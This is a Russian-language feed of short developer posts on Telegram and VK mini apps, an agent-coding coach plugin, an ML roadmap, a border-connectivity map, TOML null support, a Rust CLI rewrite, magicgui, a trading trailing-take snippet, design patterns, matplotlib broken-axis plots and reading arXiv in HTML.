В этой подборке – статьи команды Doubletapp о запуске и, проектировании мини-приложений на разных платформах, а также реализации проектов наших клиентов. 

От кнопки до продакшена: как мы делаем Telegram Mini Apps

В туториале разработчики разобрали все стадии создания мини аппа:

  • как настроить проект

  • как создать фронтенд на React с поддержкой Telegram SDK

  • как реализовать бэкенд на Python (Django)

  • как связать все компоненты и развернуть приложение.

Пройдите все этапы вместе с авторами — и получите базу для запуска собственного Mini App в Telegram.

Fame to Flame: как мы за два месяца собрали VK Mini App на 80 000 пользователей и собственный видеостриминг

Интересный кейс про создание VK Mini App для танцевального чемпионата — с загрузкой пользовательского видеоконтента, голосованием, розыгрышами призов, anti-fraud системой и высокой нагрузкой.

Хороший пример того, как мини-приложения превращаются из маркетинговой механики в полноценную event-платформу.

Меньше нагрузки — больше запросов: искусство кеширования API

Маркетинговые спецпроекты часто живут короткое время, но получают резкие всплески нагрузки: запуск рекламы, стрим в реальном времени, конкурсы, голосования и UGC-механики.

В статье backend-разработчик Doubletapp показывает, как правильно строить API caching и снижать нагрузку на инфраструктуру без потери производительности.

Если вы планируете запуск собственного Mini App в Telegram, VK или Макс — команда Doubletapp поможет пройти путь от идеи и UX-сценариев до production-инфраструктуры и масштабирования под высокие нагрузки. 

Теги:
Всего голосов 1: ↑1 и ↓0+1
Комментарии0

Microsoft выложила в open source AI Engineer Coach - плагин, который оценивает, насколько адекватно вы работаете с агентами и не сливаете токены в пустоту.

По сути, это локальный тренер по агентному кодингу. Он смотрит на ваши сессии, показывает, какие агенты использовались, сколько ушло токенов, где промпты были нормальными, а где вы просто заставляли дорогую модель делать работу, которую можно было решить проще.

Отдельно плагин проверяет 45 анти-паттернов. Например, если вы не используете plan mode, гоняете мощные модели на мелкие задачи, повторяете одни и те же действия руками или плохо готовите проект под работу агентов - он это подсветит.

Есть и практичная часть: AI Engineer Coach анализирует, готов ли проект к агентному кодингу, есть ли нужные файлы и инструкции, находит повторяющиеся промпты и помогает превращать их в скиллы. Плюс внутри есть роадмап по вайбкодингу и ачивки, чтобы было понятно, куда расти дальше.

Всё работает локально и бесплатно. Microsoft отдельно подчёркивает, что данные никуда не отправляются.

Выглядит как полезная штука для тех, кто уже живёт в Claude Code, Codex, Cursor и похожих инструментах, но хочет понять, где реально ускоряется, а где просто красиво сжигает контекст.

https://github.com/microsoft/AI-Engineering-Coach

Теги:
Всего голосов 4: ↑4 и ↓0+4
Комментарии1

Большой русскоязычный roadmap по машинному обучению: от первого import numpy до LLM, RAG, fine-tuning, AI-агентов и MLOps и лучших примеров вабкодинга.

Внутри нормальная структура: что учить, в каком порядке, зачем это нужно и что должно получиться на практике после каждого этапа.

Roadmap разбит на 7 треков:

  1. Фундамент: Python, математика, статистика, инструменты

  2. Классический ML: scikit-learn, табличные данные, метрики, валидация

  3. Deep Learning: PyTorch, CNN, RNN, training loop

  4. LLM и трансформеры: attention, KV-cache, RAG, LoRA, агенты

  5. Generative AI: изображения, видео, аудио, мультимодальность

  6. MLOps и прод: Docker, Kubernetes, CI/CD, monitoring, serving

  7. Специализация: CV, NLP, RecSys, RL, Safety

Roadmap не продаёт иллюзию “обучил модель - стал ML-инженером”.

В реальной работе много времени уходит на данные, метрики, деплой, мониторинг, воспроизводимость и разбор ошибок. Модель - только часть системы.

Хорошая мысль из roadmap: LLM не делает джуна сеньором. Она ускоряет того, кто уже понимает базу. Без базы человек просто становится оператором Copilot, который не может объяснить, почему всё сломалось.

По времени тоже без сказок:

  1. 0-3 месяца: Python, математика, классический ML

  2. 3-6 месяцев: Deep Learning и PyTorch

  3. 6-12 месяцев: LLM, RAG, fine-tuning, AI-агенты

  4. 12+ месяцев: MLOps, прод, масштабирование, специализация

Тут же собрано 7 болших бесплатных курсов по машинному обучению, математике и вайбкодингу!

Если давно хотели зайти в ML системно, а не прыгать между роликами про ChatGPT, Stable Diffusion и “топ-10 библиотек”, это хороший ориентир.

https://github.com/justxor/MachineLearningRoadmap

Теги:
Всего голосов 5: ↑4 и ↓1+3
Комментарии0

Вы когда-нибудь задумывались о том, насколько связен наш мир? Насколько сложно пересечь границу между странами? И вообще сколько их, этих граничных переходов? А насколько хорош аэропорт Вашего города - в сколько стран или направлений из него можно улететь? А есть ли паромы и периодические водные маршруты между двумя государствами? А ходят ли поезда из одной страны в другую, или ветка уже давно заброшена?

Это кажется простой задачей, пока мы находимся в Европе или, к примеру, в Северной Америке. Но начинает быть очень интересным исследованием, когда мы переместимся в Африку, Центральную Азию или, положим, в Южную Америку. А в Карибском бассейне вдруг окажется, что этим маленькие острова и не связаны настолько хорошо между собой.

А если включить в это уравнение закрытость границ, визовые и паспортные ограничение, то внезапно окажется, что задачка-то и не из лёгких.

Именно поэтому и возник проект Портулан: portolanmap.com. Чтобы показать доступность территорий для внешнего мира. Ведь хотелось бы, чтобы границы были только у нас в головах, но на деле нам приходится считаться с границами государств и территорий.

Заглавный экран карты
Заглавный экран карты

Аэропорты, терминалы паромов, сеть железных дорог, включая международные. Визы, посольства, базовая информация по странам. Всё вместе и в очень залипательном формате.

Под капотом - Python-pipeline для сбора и нормализации данных, Svelte/MapLibre GL на фронтенде, статическая раздача через Cloudflare без бэкенда и баз данных.

Теги:
Всего голосов 2: ↑2 и ↓0+2
Комментарии4

В фильме Пассажиры 2016 г. впервые показано, как ии-ассистент сливает чувствительную информацию другим пользователям и рушит их жизни

ИИ-агент готовится слить твой секрет другому пользователю
ИИ-агент готовится слить твой секрет другому пользователю

Прикольный эпизод из фильма Пассажиры 2016 г., который точно описывает один из механизмов работы агентов. По сюжету, герой по ошибке пробуждается один из 5000 человек на корабле, который летит на далекую планету, и понимает, что он проснулся слишком рано, а до пункта назначения лететь еще 90 лет. Единственный его собеседник - андроид-бармен Артур.

Героя мучает совесть, но он все же будит спящую пассажирку, чтобы ему было не так скучно лететь. Однако прежде чем ее разбудить, он просит Артура хранить в секрете то, что это он ее разбудил. Говоря в терминологии ии-агентов, пользователь и агент на этом месте заключили контракт о чувствительной информации.

Затем во время празднования ДР героини в баре она сообщает Артуру, что между ними нет секретов. Артур, как хороший ии-агент, переспрашивает у героя, так ли это, и тот подтверждает, не особо задумываясь. В этот момент ии-агент получает указание, что эта информация больше не является чувствительной, что сразу же рушит счастье героя. Пардон за спойлер, если что.

Телеграм канал автора, где он что‑то пишет про ML, NLP и разработку

Теги:
Всего голосов 7: ↑7 и ↓0+7
Комментарии0

В TOML нет null. У меня — есть (только для Python)

TLDR: TOML — удобный формат конфигураций, но ему не хватает поддержки null. Создатели языка осознанно отказались и отказываются добавлять null. Я столкнулся с этой проблемой при слиянии TOML-конфигураций в своём Python-проекте и решил её, форкнув популярные библиотеки и добавив в них поддержку значения null : tomli-null (парсер) и tomli-w-null (генератор).

TOML — популярный с недавних пор язык конфигурационных файлов, сочетающий избегающий проблемы других языков:

  • TOML стандартизован, имеет типы данных, позволяет кодировать вложенные структуры (привет, INI);

  • TOML относительно прост и парсится без хитростей (привет, YAML),

  • синтаксис TOML легко читаем, поддерживает комментарии и не имеет нюансов вроде ошибок от далёких скобок и лишних запятых (привет, JSON).

TOML, согласно спецификации, "стремится быть минимальным форматом для файлов конфигурации, который легко читается благодаря очевидной семантике". С "минимальностью" языка в принципе можно поспорить — там и отдельные типы для даты/времени (4 штуки, 3 из них имеют варианты синтаксиса), и сахар в числовых литералах вроде 0xFF00_0000, и непростой синтаксис для ключей (чтобы допускать и сочетать простые ключи, составные ключи, произвольные ключи в кавычках).

Но вот что я совершенно не ожидал и проглядел, когда выбирал TOML основным форматом для человеко-редактируемых структур данных в своём проекте, — что в TOML нет null. Вообще. Это осознанное решение создателей языка. Разные аргументы против null, прозвучавшие за это время:

  • "Если значение не определено, пару ключ-значение просто нужно не указывать." Нужно, не можно.

    Случаи, когда в приложении значение по умолчанию отличается от null, игнорируются.

  • "null создаёт неоднозначность между значением null и отсутствием пары ключ-значение."

  • "Если мы разрешим null, это повлияет на всю систему типов; например, целое число теперь будет не "целое число", а "целое число или null"."

    ???

  • "Если очень нужно, вы можете использовать специальные значения по своему усмотрению: 0, -1, "", "null", [], {}. Ещё можно использовать дополнительные поля для обозначения наличия значения (типа { present=true, value=100500 }, или null_values = ["key_a", "key_c"])."

    Гора разнообразных костылей с барского плеча, на пустом месте добавляющие кучу боли для интероперабельности, спасибо.

Ответственных за спецификацию годами просят добавить null в будущей версии, ответственные ушли в глухой отказ.

Для меня наличие null в подобном языке было само собой разумеющимся, я даже не думал об этом, когда разрабатывал сложный проект на Python, где файлы TOML пишутся и читаются человеком, пишутся и читаются программами, сливаются друг с другом. Когда я наконец-то напоролся на практике на отсутствие null (при слиянии конфигураций), менять всё на YAML было уже слишком поздно, а костыли добавили бы слишком много сложности.

Поэтому я форкнул пару библиотек и добавил в них поддержку null самым очевидным образом, не нуждающимся даже в примерах — просто литерал null на стороне TOML соответствует None на стороне Python.

(100% покрытие тестами прилагается само собой.)

P.S. PyPI очень... интересным образом показывает информацию об авторах из пакета, несколько раз напоролся, пока пытался убрать автора оригинальных библиотек из поля "для связи" на сайте.

Теги:
Всего голосов 2: ↑1 и ↓10
Комментарии3

Представлен открытый проект TapMap, который следит за всеми подключениями на интерактивной карте и показывает, к серверам в каких странах отправляет запросы ПК пользователя.

Проект сканирует приложения, сервисы, страны и порты за последние 30 дней. При этом данные никуда не улетают — всё локально на компьютере.

Теги:
Всего голосов 6: ↑6 и ↓0+6
Комментарии5

Я давний пользователь Geeknote - это cli для Evernote. Несколько лет назад проект застрял на втором Питоне - и никто не хотел его портировать на третий. Я ждал что кто-то займётся этим - но пришлось самому - так что я форкнул, починил, и даже связался с Виталием Роденко - одним из создателей Geeknote и администратора на PyPI, чтобы получить право туда пушить. За десяток лет я видел как Geeknote переходил из одни руки в другие - и как он забрасывался, и через несколько лет находился новый мантейнер. Было забавно осознать, что теперь и я стал мантейнером программного продукта, который всегда установлен на все мои машины.

Как и большинство из нас, я стал пробовать LLM - как замену поиску, для анализа кодов, советов, и вот наконец - несколько проектов - даже не читая кода - только давая команды и тестируя результат. Известная шутка - переписать на Rust. Почему бы у нет - Geeknote не велик - около пяти тысяч строк на Питоне, что я и попробовал - через Codex gpt-5.5. Несколько десятков итераций, "добавь это", "добавь то", "пропали теги", "пропала анимация" - и за несколько часов я получил рабочий Geeknote на Rust, назвал его reeknote.

Результат: быстрее работает, раза в два. Теперь буду им пользоваться.

P.S.: CLI хороши для перфоманса, SSH, быстрее разработка без GUI, а ещё похоже и для LLM - можно попросить сохранить ответ в Evernote. Как и прочие интеграции, в том числе в скриптах.

Теги:
Рейтинг0
Комментарии4

Что такое magicgui и зачем он нам?

magicgui — это Python‑библиотека для быстрой разработки простых интерфейсов. Если нужен сложный интерфейс с кастомной вёрсткой и нестандартным поведением — лучше взять PyQt‑Pyside. Когда задача обернуть функцию в окошко за 5 минут — magicgui справится.

В настоящее время magicgui поддерживает следующие бэкэнды:

API организовано на двух уровнях:

слои API magicgui
слои API magicgui

Верхний уровень — магия типов. Декораторы @magicgui, @guiclass, автоопределение виджетов по аннотациям.

Нижний уровень — ручная сборка из готовых виджетов (SpinBox, Slider, PushButton).

Примеры работы: https://pyapp‑kit.github.io/magicgui/generated_examples/

Github: https://github.com/pyapp‑kit/magicgui

Теги:
Всего голосов 2: ↑2 и ↓0+2
Комментарии0

Почему цена почти доходит до TP, но разворачивается

Будущее это вероятностная функция от прошлого. ATR это чистая функция от прошлого. Разница в том, что в вероятностной функции есть коэфициент случайности и точно прогнозировать можно только лучший и худший случай

Именно по этому цена не доходит до TP, если высчитать его на индикаторах. Либо TP слишком низкий и не окупает fees. Верным решением для вероятностной функции будет прогнозировать лучший и худший случай на лету

//@version=5
strategy("Стратегия с TP по ATR")

...

tpPrice    = entryPrice + atrMultTP * atr // Это не работает

Выходить из позиции при просадке PNL на заранее известный процент статистически предсказуемо.

listenActivePing(async ({ symbol, data }) => {
  const peakProfitDistance = await getPositionHighestProfitDistancePnlPercentage(symbol);
  const currentProfit = await getPositionPnlPercent(symbol);

  if (currentProfit < 0) {
    return;
  }

  if (peakProfitDistance < TRAILING_TAKE) {
    return;
  }

  await commitClosePending(symbol, {
    id: "unknown",
    note: str.newline(
      "# Позиция закрыта по trailing take",
    ),
  });
});

Тут есть разница: в отличие от классического trailing take где выход из позиции ставится на цену, которая каждый раз разная, отклонение PnL - постоянная величина

Теги:
Всего голосов 6: ↑6 и ↓0+6
Комментарии0

Паттерны проектирования еще актуальны?

Вокруг все чаще говорят, что ИИ скоро будет писать код за нас. Логичный вопрос — нужны ли тогда паттерны? Зачем разбираться в паттернах GoF, если нейросеть и так сгенерирует рабочий код по описанию?

У меня ощущение обратное.

Я плотно вошел в разработку в 2019 году. Переходил из 1С в .NET. Книги по паттернам GoF у меня были, но долго лежали как «книга на полке». Казалось, они оторваны от повседневных задач. Теорию вроде понимал, но не видел, где это реально применяется.

Все поменялось, когда я стал использовать ИИ как инструмент для обучения. Просил давать задачи, искать проблемы в решениях, объяснять, почему в одном месте уместен Strategy, а в другом лучше Mediator. Через практику и обсуждение паттерны перестали быть абстракцией.

Чем проще генерировать код, тем важнее понимать его форму и границы. Иначе не ускоришь разработку, а ускоришь накопление технического долга.

Из этого и вырос мой pet-project gofinsights.com. Я делаю его тренажером по паттернам проектирования. Не просто «прочитал и забыл», а через практику, сравнение решений и постепенное распознавание типовых архитектурных ходов.

Сейчас там есть интерактивный квиз, где можно проверить базу и не перепутать Factory Method с Abstract Factory. Дальше хочу развивать проект в сторону более глубокого ИИ-разбора. Чтобы можно было не только узнавать паттерн, но и разбирать кодовые запахи, причины проблем и возможную эволюцию решений.

Как вы это видите? Паттерны проектирования все еще рабочая база для разработчика? Или с появлением ИИ они станут менее важны?

Теги:
Всего голосов 6: ↑5 и ↓1+6
Комментарии1

Разрываем шаблоны: строим график с разрывом всего на 65 строк

Иногда нужно скрыть часть графика используя линию обрыва, чтобы показать данные с сильно различающимися значениями. Например, когда один язык программирования популярнее остальных в разы.

Самые ходовые решения этой проблемы — разорванная ось (broken axis) или отдельные бины для аномалий. Проблема в том, что в Matplotlib нет готовой «кнопки» для создания гистограммы с разрывом. Но это легко* собирается руками на уровне нескольких осей.

Вот три рабочих подхода — выбирайте под свою задачу.

  1. Официальный пример из документации Matplotlib. 🔗 Ссылка на гайд. Отлично работает, когда выбросы зашкаливают по одной оси (X или Y). В посте разбирается как раз такой случай: гистограмма с волнистой линией обрыва.

  2. Библиотека brokenaxes делает почти всё сама. Устанавливается стандартно через pip. Вариант для тех, кто не хочет углубляться в ручную настройку.

  3. Логарифмическая шкала (часто — самый простой выход) Если выбросы строго положительные и отличаются на порядки, иногда достаточно двух строк: plt.xscale(«log») или plt.yscale(«log»). Никаких разрывов, никакой ручной работы — при этом график остаётся чистым и читаемым.

import matplotlib.patches as mpatches
import matplotlib.pyplot as plt
import numpy as np
from matplotlib.path import Path


def plot_broken_axis(
    labels: list[str],
    values: tuple[float, ...],
    ylim_low=(0, 12),
    ylim_high=(20, 25),
    **kwargs,
):
    """
    Строит график с разрывом оси.
    Валидирует входные данные и инкапсулирует логику отрисовки.
    """
    if len(labels) != len(values):
        raise ValueError("Длины labels и values не совпадают")

    fig, (ax_high, ax_low) = plt.subplots(
        nrows=2, figsize=(7, 4), gridspec_kw={"height_ratios": [1, 2]}
    )

    # Настройки столбцов
    kwargs.setdefault("color", "skyblue")
    kwargs.setdefault("edgecolor", "black")
    kwargs.setdefault("alpha", 0.85)

    ax_low.bar(labels, values, **kwargs)
    ax_high.bar(labels, values, **kwargs)
    fig.subplots_adjust(hspace=0.0)

    # Настройка осей
    ax_low.set_ylim(*ylim_low)
    ax_high.set_ylim(*ylim_high)
    ax_high.set_title("График с разрывом")
    ax_low.set_ylabel("Рейтинг в %")
    ax_low.set_xlabel("Языки")
    ax_high.spines["bottom"].set_visible(False)
    ax_low.spines["top"].set_visible(False)
    ax_high.tick_params(axis="x", bottom=False, labelbottom=False)
    # Рисуем разрыв оси (волна)
    offset, n_points = 0.03, 33
    pts = np.linspace(-offset, 1 + offset, n_points)
    wave = np.array([1 + (0, offset, 0, -offset)[i % 4] for i in range(n_points)])
    path = Path(list(zip(pts, wave)), [Path.MOVETO] + [Path.CURVE3] * (n_points - 1))

    opts = dict(transform=ax_low.transAxes, clip_on=False, zorder=10)
    ax_low.add_patch(mpatches.PathPatch(path, lw=6, **opts))
    ax_low.add_patch(mpatches.PathPatch(path, lw=3, edgecolor="white", **opts))
    return fig


if __name__ == "__main__":
    langs = ["Python", "C", "C++", "Asm"]
    pops = (21.8, 11.1, 8.6, 1.1)

    # Стиль xkcd
    with plt.xkcd(scale=1, length=300, randomness=30):
        plt.rcParams["font.family"] = "Comic Sans MS"

        # Вызов функции
        fig = plot_broken_axis(langs, pops)
        plt.show()

Литература:

  • Документация Matplotlib. 🔗 Ссылка на гайд

  • Bernd Klein. Numerisches Python Arbeiten mit NumPy, Matplotlib und Pandas

  • Sandro Tosi. Matplotlib for Python Developers

Теги:
Всего голосов 5: ↑5 и ↓0+7
Комментарии0

Как читать статьи с arXiv на русском без лишних усилий

Если вы работаете с машинным обучением или исследовательскими задачами, arXiv, скорее всего, — ваш основной источник свежих идей.

Но далеко не всегда удобно читать оригинал на английском: устали, хотите быстро пробежаться по статье или просто не готовы сейчас разбираться в длинном PDF.

В этом посте — два практичных способа читать статьи с arXiv в HTML‑формате прямо в браузере и сразу переводить их на русский с помощью встроенного перевода. Никаких LLM, сторонних ботов и скачивания PDF.

Зачем вообще HTML, если есть PDF

Классический сценарий работы с arXiv выглядит так: вы открываете страницу статьи, скачиваете PDF и читаете его в отдельной программе или через встроенный viewer браузера.

У такого подхода есть несколько минусов:

  • Неудобно переводить: нужно копировать текст или использовать отдельные инструменты.

  • Плохо искать по странице: текст может быть нераспознанным или разбитым.

  • Тяжелее читать на маленьких экранах, особенно на ноутбуках и планшетах.

HTML‑версия решает эти проблемы: текст становится «живым», браузер может его переводить, а навигация и поиск по странице работают привычным образом.

Способ 1. Официальный HTML (experimental)

У части статей на arXiv есть встроенная HTML‑версия.Если она включена, справа на странице вы увидите кнопку «HTML (experimental)».

Что это даёт:

  • статья открывается как полноценная HTML‑страница;

  • формулы остаются корректными;

  • можно использовать встроенный перевод в браузере.

Ограничения:

  • HTML‑версии есть не у всех препринтов.

  • Иногда верстка «плывёт», особенно в сложных таблицах.

Способ 2. ar5iv (если HTML нет)

Если кнопки HTML (experimental) нет, можно воспользоваться сторонним сервисом ar5iv из экосистемы arXiv Labs. Он автоматически конвертирует TeX‑исходники статей в HTML.

Идея простая: вы берете обычный URL arXiv и меняете в домене букву x на 5.

Пример:

Такой простой приём заметно снижает «порог входа» в чтение статей и экономит время, особенно если вы регулярно мониторите arXiv.

Теги:
Всего голосов 3: ↑3 и ↓0+3
Комментарии5
1
23 ...